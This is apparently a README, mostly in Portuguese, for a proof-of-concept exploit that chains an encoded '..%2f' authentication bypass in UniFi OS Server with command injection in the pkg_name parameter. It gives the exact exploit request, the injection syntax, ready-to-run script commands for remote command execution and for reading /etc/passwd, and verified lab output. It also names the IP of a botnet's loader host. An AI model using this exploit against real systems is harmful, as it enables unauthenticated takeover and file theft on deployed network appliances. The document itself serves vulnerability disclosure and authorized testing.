
CVE-2026-34910/34909 — RCE não autenticado no UniFi OS + leitura de arquivos via bypass de autenticação ..%2f (CVSS 10.0, KEV, Mirai ITW)
RCE por Injeção de Comando Não Autenticada (CVE-2026-34910) + Leitura Arbitrária de Arquivos por Path Traversal (CVE-2026-34909) no UniFi OS Server.
CVSS 10.0 (Crítico) cada · Listado no CISA KEV · explorado ativamente por um botnet derivado do Mirai (implante azsxd).
O Ubiquiti UniFi OS inclui um gateway de autenticação nginx que trata qualquer requisição cuja URI BRUTA comece com /api/auth/validate-sso/ como pública, mas roteia pela URI NORMALIZADA (decodifica %2f → / e colapsa ../). Codificar um traversal faz com que os dois divirjam:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ chega ao manipulador interno de atualização de pacotes, que passa pkg_name para
/bin/sh -c → RCE não autenticado em uma única requisição.
A mesma primitiva contra /app-assets/... lê arquivos do disco
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
O payload de RCE injeta um ponto e vírgula no comando de shell interno
sudo systemctl stop <pkg_name> do handler: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — o comando injetado é executado no host
como o usuário ucs-update.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ TOTALMENTE VERIFICADO — RCE confirmado contra o UniFi OS Server 5.0.6 real (vulnerável, configuração concluída) em execução no Docker (hieutq/unifi-os-server:5.0.6-amd64):
- O bypass de autenticação
..%2falcança o handler internolatest_package(resposta:CODE_SYSTEM_ERROR/ "pkg_name required" — não um 400 do nginx).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=truecriou o arquivo no alvo (-rw-r--r-- ucs-update) → injeção de comando → RCE confirmado.- Contra o UniFi OS 5.1.21 corrigido, a mesma requisição retorna HTTP 400 (o nginx rejeita a divergência entre URI bruta e URI normalizada), confirmando um negativo limpo.
A configuração foi concluída através do assistente web real (nome do dispositivo → credenciais → senha do console → concluir), portanto o laboratório corresponde a um appliance instalado em produção.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | Gravidade | Afetados | Corrigido |
|---|---|---|---|
| CVE-2026-34910 | 10.0 Crítica | UniFi OS Server (pré-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Crítica | UniFi OS Server (pré-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Crítica | UniFi OS Server (pré-SAB-064) | SAB-064 |
Botnet derivada de Mirai/Gafgyt (implante azsxd v2.0) encadeia o bypass de autenticação +
injeção de comando para RCE não autenticado — loader multi-arquitetura hospedado em
185.228.26.16. Veja o artigo do pwndefend.
Apenas para testes de segurança autorizados e fins educacionais.